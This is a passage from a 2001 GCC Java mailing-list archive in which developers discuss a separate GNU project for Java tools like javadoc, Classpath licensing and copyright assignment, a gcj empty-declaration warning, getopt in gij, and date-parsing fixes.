Ferrier"'s message of "Mon, 09 Jul 2001 16:00:33 +0100" Message-ID: Lines: 29 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii "Nic Ferrier" writes: > >>> Stuart Ballard 09-Jul-01 4:00:18 PM >>> > > Sun might - they don't like people using the name > "Java" for things. > > The FSF doesn't use the word either. It was a mistake for me to call > the project that. > > The project wouyld actually be called something like "class-tools" > but we can come up with a name later. > > I'm more interested in knowing if there are any objections to the > idea of a seperate project for tools. > > > I like the idea, but I think a different name for it > might be in order... how about gtj in line with gcj? > > Could be a good one... I don't think it matters what the name is. The > FSF leadership are quite good at suggesting names for projects. The idea sounds fine to me, and you may even want to take the com.sun interface stuff with you. Brian -- Brian Jones From java-return-6412-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 10 13:58:48 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5361 invoked by alias); 10 Jul 2001 13:58:45 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5319 invoked from network); 10 Jul 2001 13:58:44 -0000 Received: from unknown (HELO chmls05.mediaone.net) (24.147.1.143) by sourceware.cygnus.com with SMTP; 10 Jul 2001 13:58:44 -0000 Received: from pimlott.ne.mediaone.net (root@pimlott.ne.mediaone.net [24.128.40.85]) by chmls05.mediaone.net (8.11.1/8.11.1) with ESMTP id f6ADRdx26127 for ; Tue, 10 Jul 2001 09:27:39 -0400 (EDT) Received: by pimlott.ne.mediaone.net via sendmail from stdin id (Debian Smail3.2.0.111) for java@gcc.gnu.org; Tue, 10 Jul 2001 09:18:37 -0400 (EDT) From: andrew@pimlott.ne.mediaone.net (Andrew Pimlott) Date: Tue, 10 Jul 2001 09:18:37 -0400 To: java@gcc.gnu.org Subject: empty declaration deprecated Message-ID: <20010710091837.A13850@pimlott.ne.mediaone.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.15i I am fairly new to java and gcj, and I am confused by the warning generated by class Test { void foo() { ; } } % gcj-3.0 -C -Wall Test.java Test.java:3: warning: An empty declaration is a deprecated feature that should not be used. void foo() { ; } ^ 1 warning >From what I can find (mainly, the bug report gcj/295), this warning is supposed to be about semicolons after inner classes. The JLS second edition says nothing bad about empty statements, so I hope this is a mistake. The code I actually care about is something like for (i=0; i Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29860 invoked by alias); 10 Jul 2001 15:07:12 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29675 invoked from network); 10 Jul 2001 15:07:04 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 10 Jul 2001 15:07:04 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA22586; Tue, 10 Jul 2001 09:06:58 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id JAA14700; Tue, 10 Jul 2001 09:29:31 -0600 To: "Nic Ferrier" Cc: java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools References: X-Zippy: I used to be a FUNDAMENTALIST, but then I heard about the HIGH RADIATION LEVELS and bought an ENCYCLOPEDIA!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 10 Jul 2001 09:29:31 -0600 In-Reply-To: "Nic Ferrier"'s message of "Mon, 09 Jul 2001 15:03:40 +0100" Message-ID: <87n16cerac.fsf@creche.redhat.com> Lines: 21 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Nic" == Nic Ferrier writes: Nic> It seems that the code doesn't really fit into any of the current Nic> GNU projects: Nic> - not kaffe, japhar or GCJ because it's not a compiler or VM Nic> - not Classpath because it's not core libs Nic> - not Classpathx because it's not an extension Nic> I have proposed to Julian that a new GNU project be setup called: Nic> java-tools. We can put things like javadoc and jar-tool Nic> implementations under that project. Nic> Does anyone have any objections to that? I don't have a real objection. But I think that adding a new project every time does make things more difficult. I'd prefer to see us simply expand the mandate of, say, Classpath and then just put more things in it. Tom From java-return-6414-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 10 15:57:29 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20647 invoked by alias); 10 Jul 2001 15:57:28 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20627 invoked from network); 10 Jul 2001 15:57:27 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 10 Jul 2001 15:57:27 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15Jzt3-00064n-00 for ; Tue, 10 Jul 2001 16:57:21 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Tue, 10 Jul 2001 16:59:17 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Tue, 10 Jul 2001 16:50:38 +0100 From: "Nic Ferrier" To: tromey@redhat.com Cc: java@gcc.gnu.org,classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Tom Tromey 10-Jul-01 4:29:31 PM >>> I don't have a real objection. But I think that adding a new project every time does make things more difficult. In what way? I'd prefer to see us simply expand the mandate of, say, Classpath and then just put more things in it. I'd be happy with that too, perhaps Classpath would need a seperate CVS module for each tool but I don't see a major organizational problem either way. The only trouble with Classpath is that it requires (c) assignment and the 'exception' licence. A large part of this problem could be obviated if the Classpath administrators choose to accept tools under non-exception licences, eg: plain GPL or LGPL. What do the Classpath people think? Nic From java-return-6415-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 10 15:59:38 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21341 invoked by alias); 10 Jul 2001 15:59:38 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21312 invoked from network); 10 Jul 2001 15:59:37 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 10 Jul 2001 15:59:37 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id IAA19345; Tue, 10 Jul 2001 08:59:36 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id IAA16425; Tue, 10 Jul 2001 08:59:36 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15179.9832.587895.259626@fencer.cygnus.com> Date: Tue, 10 Jul 2001 08:59:36 -0700 (PDT) To: andrew@pimlott.ne.mediaone.net (Andrew Pimlott) Cc: java@gcc.gnu.org Subject: Re: empty declaration deprecated In-Reply-To: <20010710091837.A13850@pimlott.ne.mediaone.net> References: <20010710091837.A13850@pimlott.ne.mediaone.net> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: Yow! It's a hole all the way to downtown Burbank! Andrew Pimlott writes: > From what I can find (mainly, the bug report gcj/295), this warning > is supposed to be about semicolons after inner classes. The JLS > second edition says nothing bad about empty statements, so I hope > this is a mistake. > > The code I actually care about is something like > > for (i=0; i Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12606 invoked by alias); 10 Jul 2001 16:32:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12561 invoked from network); 10 Jul 2001 16:32:41 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 10 Jul 2001 16:32:41 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6AGZ3Y22486; Tue, 10 Jul 2001 09:35:03 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: "Nic Ferrier" Cc: java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools References: From: Per Bothner Date: 10 Jul 2001 09:35:03 -0700 In-Reply-To: Message-ID: Lines: 39 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii "Nic Ferrier" writes: > >>> Tom Tromey 10-Jul-01 4:29:31 PM >>> > > I don't have a real objection. But I think that adding > a new project every time does make things more difficult. > > In what way? It is convenient if related/dependent projects can share a cvs repository. They could still be separate "projects", but each project does add its own overhead. > I'd prefer to see us simply expand the mandate of, say, > Classpath and then just put more things in it. > > I'd be happy with that too, perhaps Classpath would need a seperate > CVS module for each tool but I don't see a major organizational > problem either way. > > The only trouble with Classpath is that it requires (c) assignment > and the 'exception' licence. > > A large part of this problem could be obviated if the Classpath > administrators choose to accept tools under non-exception licences, > eg: plain GPL or LGPL. GCC and related projects has traditionally distinguished "host tools" vs "target libraries". The latter may run on embedded systems, and may be linked in with user (customer) applications, and so need the exception. The host tools are not linked with application code, and they don't run on embedded systems, so traditionally have been GPL. Sometimes code falls into both categories. The libiberty library is an example. A regex library or getopt are other possible examples. The GCC project emcompasses both kinds of code; classpath focuses on "target libraries". -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6417-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 10 18:27:42 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 16510 invoked by alias); 10 Jul 2001 18:27:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 16392 invoked from network); 10 Jul 2001 18:27:35 -0000 Received: from unknown (HELO mail5.nc.rr.com) (24.93.67.52) by sourceware.cygnus.com with SMTP; 10 Jul 2001 18:27:35 -0000 Received: from lyta.haphazard.org ([66.26.249.119]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 10 Jul 2001 14:27:33 -0400 Received: (from cbj@localhost) by lyta.haphazard.org (8.11.2/8.11.0) id f6AIOjs21875; Tue, 10 Jul 2001 14:24:45 -0400 X-Authentication-Warning: lyta.haphazard.org: cbj set sender to cbj@gnu.org using -f To: "Nic Ferrier" Cc: tromey@redhat.com, java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools References: From: Brian Jones Date: 10 Jul 2001 14:24:44 -0400 In-Reply-To: "Nic Ferrier"'s message of "Tue, 10 Jul 2001 16:50:38 +0100" Message-ID: Lines: 37 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii "Nic Ferrier" writes: >>>> Tom Tromey 10-Jul-01 4:29:31 PM >>> > > I'd prefer to see us simply expand the mandate of, say, > Classpath and then just put more things in it. > > I'd be happy with that too, perhaps Classpath would need a seperate > CVS module for each tool but I don't see a major organizational > problem either way. > > The only trouble with Classpath is that it requires (c) assignment > and the 'exception' licence. Classpath uses the exception license on the core libraries (except for AWT). Tools can certainly exist under a different license. Copyright assignment is useful for making the core libraries legally defensible in whole from a single party, the FSF. I do think that it has slowed the progress of the project, but I do not know why this is so. Perhaps the assignment process or its effects are misunderstood. I decided long ago that assigning copyright to the FSF for my contributions to this project was in my best interests and theirs. What is appropriate for the core libraries may not be necessary for these tools. > A large part of this problem could be obviated if the Classpath > administrators choose to accept tools under non-exception licences, > eg: plain GPL or LGPL. To date I don't think we've refused to accept code under a different license for tools. Certainly a simple javap, javah, and javadoc would be nice to have. Brian -- Brian Jones From java-return-6418-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 10 18:45:30 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28145 invoked by alias); 10 Jul 2001 18:45:29 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28108 invoked from network); 10 Jul 2001 18:45:27 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 10 Jul 2001 18:45:27 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15K2Vd-00066P-00 for ; Tue, 10 Jul 2001 19:45:22 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Tue, 10 Jul 2001 19:47:17 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Tue, 10 Jul 2001 19:43:37 +0100 From: "Nic Ferrier" To: cbj@gnu.org Cc: java@gcc.gnu.org,classpath@gnu.org, classpathx-discuss@gnu.org, tromey@redhat.com Subject: Re: Java tools Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Brian Jones 10-Jul-01 7:24:44 PM >>> Copyright assignment is useful for making the core libraries legally defensible in whole from a single party, the FSF. I don't think that there's a particular problem with (c) assignment. The reasons for requiring it can be easily explained (protection for developers more than anything). On the other hand, the onus is then on us to ensure that the programmers we're accepting from have done everything right (ie: not copied Sun (or any non-free) code). To date I don't think we've refused to accept code under a different license for tools. Certainly a simple javap, javah, and javadoc would be nice to have. Well then. It seems the best thing to do would be to create a module for javadoc and ask Julian to join you. Let me know privately if you want me to do it (in which case you'll have to set me up on Classpath's savannah) or if you'll talk to him yourself. His mail address is: julian.scheid@sektor37.de There is at least one other person who hacks on the texidoclet. Nic From java-return-6419-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 10 20:30:42 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17661 invoked by alias); 10 Jul 2001 20:30:38 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17624 invoked from network); 10 Jul 2001 20:30:33 -0000 Received: from unknown (HELO snfc21.pbi.net) (206.13.28.241) by sourceware.cygnus.com with SMTP; 10 Jul 2001 20:30:33 -0000 Received: from krypton ([206.170.6.34]) by mta5.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with SMTP id <0GG900AW4YAVRB@mta5.snfc21.pbi.net> for java@gcc.gnu.org; Tue, 10 Jul 2001 13:30:32 -0700 (PDT) Date: Tue, 10 Jul 2001 13:29:37 -0700 From: David Brownell Subject: Re: [Classpathx-discuss] Re: Java tools To: Per Bothner , Nic Ferrier Cc: java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Message-id: <1aa501c1097f$0ad1c220$6800000a@brownell.org> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook Express 5.50.4133.2400 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: > > I don't have a real objection. But I think that adding > > a new project every time does make things more difficult. > > > > In what way? > > It is convenient if related/dependent projects can share a > cvs repository. They could still be separate "projects", > but each project does add its own overhead. Like multiplication of mailing lists ... :) And perhaps creating desires to move subprojects around. Like the ClasspathX "jaxp" support, as JDK 1.4 incorporates such facilities directly into the standard libraries... - Dave From java-return-6420-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 10 23:10:16 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 30983 invoked by alias); 10 Jul 2001 23:10:16 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 30941 invoked from network); 10 Jul 2001 23:10:15 -0000 Received: from unknown (HELO chmls05.mediaone.net) (24.147.1.143) by sourceware.cygnus.com with SMTP; 10 Jul 2001 23:10:15 -0000 Received: from pimlott.ne.mediaone.net (root@pimlott.ne.mediaone.net [24.128.40.85]) by chmls05.mediaone.net (8.11.1/8.11.1) with ESMTP id f6ANA9x13987 for ; Tue, 10 Jul 2001 19:10:13 -0400 (EDT) Received: by pimlott.ne.mediaone.net via sendmail from stdin id (Debian Smail3.2.0.111) for java@gcc.gnu.org; Tue, 10 Jul 2001 19:01:05 -0400 (EDT) From: andrew@pimlott.ne.mediaone.net (Andrew Pimlott) Date: Tue, 10 Jul 2001 19:01:05 -0400 To: java@gcc.gnu.org Subject: Re: empty declaration deprecated Message-ID: <20010710190105.A19786@pimlott.ne.mediaone.net> References: <20010710091837.A13850@pimlott.ne.mediaone.net> <15179.9832.587895.259626@fencer.cygnus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.15i In-Reply-To: <15179.9832.587895.259626@fencer.cygnus.com>; from apbianco@cygnus.com on Tue, Jul 10, 2001 at 08:59:36AM -0700 On Tue, Jul 10, 2001 at 08:59:36AM -0700, Alexandre Petit-Bianco wrote: > > Andrew Pimlott writes: > > > From what I can find (mainly, the bug report gcj/295), this warning > > is supposed to be about semicolons after inner classes. The JLS > > second edition says nothing bad about empty statements, so I hope > > this is a mistake. > > > > The code I actually care about is something like > > > > for (i=0; i > As your example showed, the patch could use a little more discernment. > Can you file a PR? This is now PR 3635. Thanks. Andrew From java-return-6421-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 00:16:02 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29950 invoked by alias); 11 Jul 2001 00:16:00 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29896 invoked from network); 11 Jul 2001 00:15:56 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 11 Jul 2001 00:15:56 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15K7fU-0006A5-00 for ; Wed, 11 Jul 2001 01:15:52 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Wed, 11 Jul 2001 01:17:48 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Wed, 11 Jul 2001 01:14:06 +0100 From: "Nic Ferrier" To: per@bothner.com, david-b@pacbell.net Cc: java@gcc.gnu.org,classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: [Classpathx-discuss] Re: Java tools Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> David Brownell 10-Jul-01 9:29:37 PM >>> And perhaps creating desires to move subprojects around. Like the ClasspathX "jaxp" support, as JDK 1.4 incorporates such facilities directly into the standard libraries... A short note on this... The GNU project's internal organization should not be a victim of Sun Marketing. Even though it is included in 1.4, the jaxp stuff is still a java extension, a javax package and should remain within Classpathx. All GNU projects can then use the code equally. For example, GCJ and Kaffe may choose to distribute the jaxp stuff to make something that looks like 1.4. In some areas Sun's decisions do affect us, for example the inclusion of regexps in core 1.4 call into question the utility of having a seperate regexp project. But we should not be pushed into duplicating effort or diluting the clarity of our structure (which is actually quite sensible) because Sun choose to do some bundling. Nic From java-return-6422-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 00:46:14 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 8106 invoked by alias); 11 Jul 2001 00:46:12 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 8059 invoked from network); 11 Jul 2001 00:46:09 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 11 Jul 2001 00:46:09 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA15074; Tue, 10 Jul 2001 18:46:05 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id TAA16224; Tue, 10 Jul 2001 19:08:46 -0600 To: Java Discuss List Subject: Re: Beyond GCC 3.0: Summing Up References: X-Zippy: Bo Derek ruined my life! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 10 Jul 2001 19:08:42 -0600 In-Reply-To: "Joseph S. Myers"'s message of "Tue, 10 Jul 2001 10:56:22 +0100 (BST)" Message-ID: <87lmlw9srp.fsf@creche.redhat.com> Lines: 23 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Joseph" == Joseph S Myers writes: I extracted this from a message on the gcc list: Joseph> Some statistics on GNATS messages to gcc-prs from January to Joseph> June of this year: Joseph> 970 neil@gcc.gnu.org Joseph> [ 7 elided ] Joseph> 174 bryce@gcc.gnu.org Joseph> 145 tromey@gcc.gnu.org Joseph> [ 1 elided ] Joseph> 132 apbianco@gcc.gnu.org Joseph> [ 9 elided ] Joseph> 18 warrenl@gcc.gnu.org Joseph> [ 3 elided ] Joseph> 10 green@gcc.gnu.org I just wanted to say I think it is really great that the java developers have been so responsive. I think we're disproportionately responsive to PRs. Congratulations. Tom From java-return-6423-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 04:53:06 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 32597 invoked by alias); 11 Jul 2001 04:53:03 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 32514 invoked from network); 11 Jul 2001 04:52:55 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 11 Jul 2001 04:52:55 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id WAA08330; Tue, 10 Jul 2001 22:52:51 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id XAA16686; Tue, 10 Jul 2001 23:15:35 -0600 To: "Nic Ferrier" Cc: java@gcc.gnu.org Subject: Re: gij.c References: X-Zippy: I will establish the first SHOPPING MALL in NUTLEY, New Jersey... X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 10 Jul 2001 23:15:34 -0600 In-Reply-To: "Nic Ferrier"'s message of "Sat, 07 Jul 2001 14:17:13 +0100" Message-ID: <87zoact5ah.fsf@creche.redhat.com> Lines: 27 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Nic" == Nic Ferrier writes: Nic> Any reason why gij doesn't use the getopt library? The reason is licensing. gij is GPL+exception, so it can be used universally. getopt isn't. Now, I think this reason isn't too serious. We already use an LGPL piece in libgcj (the libltdl library), but we only enable it for native ports, where the more restrictive licensing isn't really a problem. We could easily do this with gij. In reality I imagine people aren't too likely to use an unmodified gij in their embedded application. Nic> If no one has any objections I will getopt enable gij. Could you do it for native-only builds? Oh, I remember now that we only build gij for natives. So maybe we're ok. We could just link in libiberty. We really need to clarify our licensing set-up in the manual. Right now it is too confusing; you might end up with libltdl included when you don't want it. Tom From java-return-6424-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 04:57:11 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1011 invoked by alias); 11 Jul 2001 04:57:09 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 971 invoked from network); 11 Jul 2001 04:57:08 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 11 Jul 2001 04:57:08 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id WAA08744; Tue, 10 Jul 2001 22:57:00 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id XAA16699; Tue, 10 Jul 2001 23:19:42 -0600 To: "Nic Ferrier" Cc: bryce@waitaki.otago.ac.nz, java@gcc.gnu.org Subject: Re: date formatting References: X-Zippy: .. or were you driving the PONTIAC that HONKED at me in MIAMI last Tuesday? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 10 Jul 2001 23:19:42 -0600 In-Reply-To: "Nic Ferrier"'s message of "Mon, 09 Jul 2001 03:09:02 +0100" Message-ID: <87wv5gt53l.fsf@creche.redhat.com> Lines: 33 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Nic" == Nic Ferrier writes: Nic> I'm not entirely sure about the fix though because I have to Nic> admit that I don't really understand the SimpleTimeZone. You're not alone. Some of the code here, or in Calendar, exists due to extensive debugging. I spent a few days running test cases through this code and then finding bugs, sometimes very obscure, to get what I thought were the correct results. Nic> The thing I most don't understand is how DSTs come into it Nic> all... the code that exists in SimpleDateFormat and Nic> DateFormatSymbols makes it look like Java is supposed to parse Nic> strings with DST timezones but how is it supposed to know the Nic> time zone ids for DSTs? I don't remember :-(. I flushed all that info as quickly as I could. The JCL books and online docs aren't really all that informative. They do ok, but these classes are pretty big and not all the cases are covered in the docs (as I recall). My recommendation is to write test code (preferably Mauve tests!), then run it through the JDK and gcj and see what happens. That is how I did my debugging... Nic> Anyway, I have a fix that at least allows me to parse HTTP dates Nic> and get the correct date so now Paperclips quite merrily sends Nic> 304s. Nic> Should I send it to the patches list? Yes, definitely. Tom From java-return-6425-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 05:06:46 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 3750 invoked by alias); 11 Jul 2001 05:06:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3697 invoked from network); 11 Jul 2001 05:06:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 11 Jul 2001 05:06:39 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id XAA09702; Tue, 10 Jul 2001 23:06:36 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id XAA16762; Tue, 10 Jul 2001 23:29:19 -0600 To: "Nic Ferrier" Cc: java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools References: X-Zippy: I'm ANN LANDERS!! I can SHOPLIFT!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 10 Jul 2001 23:29:19 -0600 In-Reply-To: "Nic Ferrier"'s message of "Tue, 10 Jul 2001 16:50:38 +0100" Message-ID: <87u20kt4nk.fsf@creche.redhat.com> Lines: 44 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Nic" == Nic Ferrier writes: >>>> Tom Tromey 10-Jul-01 4:29:31 PM >>> Tom> I don't have a real objection. But I think that adding Tom> a new project every time does make things more difficult. Nic> In what way? A new project means new mailing lists to track, a new cvs repository to remember, etc. It also means that if I want to build everything the build is more complex. Keeping it all in sync is harder -- a unified tree is easier to keep working, as every developer can build it frequently. Nic> The only trouble with Classpath is that it requires (c) Nic> assignment and the 'exception' licence. Actually only the core parts of Classpath require the odd license. For host tools like javadoc, I'm sure any license is acceptable. The goal for libgcj is that it be usable on embedded systems (which is actually a pretty big range; don't necessarily think "small"). This means that we would like the libraries and such to have the special GPL+exception license. This ensures that embedded developers can continue to use gcj and libgcj. For a host-side tool like javadoc, something like the GPL is great. For instance, gcj is GPL. Now, should javax.* be GPL+exception? Or new libraries? Well, obviously we would prefer that. The possibility exists that, if we need one of these libraries, then we would have to rewrite it if the license is different. And we've decided in the past to exclude other libraries (AWT) from libgcj on this basis. 